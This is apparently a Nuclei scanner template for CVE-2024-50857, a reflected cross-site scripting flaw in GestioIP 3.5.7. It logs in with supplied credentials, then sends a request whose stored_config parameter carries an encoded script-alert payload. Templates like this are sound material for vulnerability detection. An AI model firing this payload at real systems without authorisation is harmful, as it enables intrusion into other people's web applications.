id: CVE-2024-50857 info: name: GestioIP - Reflected Cross-Site Scripting author: Gaurang severity: medium description: | GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions. impact: | Attackers can execute scripts in victims' browsers, leading to data theft and potential CSRF attacks. remediation: | Sanitize user input in the ip_do_job request and update to the latest version of GestioIP. reference: - https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50857 - https://github.com/muebel/gestioip-docker-compose - https://nvd.nist.gov/vuln/detail/CVE-2024-50857 - http://www.gestioip.net classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.8 cve-id: CVE-2024-50857 cwe-id: CWE-79 epss-score: 0.00093 epss-percentile: 0.26182 cpe: cpe:2.3:a:gestioip:gestioip:3.5.7:*:*:*:*:*:*:* metadata: verified: true vendor: gestioip product: gestioip tags: cve,cve2024,gestioip,xss,reflected,authenticated flow: http(1) && http(2) http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded httpd_username={{username}}&httpd_password={{password}}&login=login&create_csrf_token=true matchers: - type: dsl dsl: - 'contains_all(body, "Gestió", "logout")' - 'status_code == 200' condition: and - raw: - | GET /gestioip/res/cm/ip_do_job.cgi?client_id=1&stored_config=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "bad format (6b) ")' - 'status_code == 200' condition: and # digest: 4a0a004730450220260a4a7f005a53d1c11c1028e280aeaa5c5cd746a3a6657edc06d5d040adf2de022100c491539fe2403ffd7f5c59a77f8e5c5f76787d6913962d8bb70049dd22ab5d7a:922c64590222798bb761d5b6d8e72950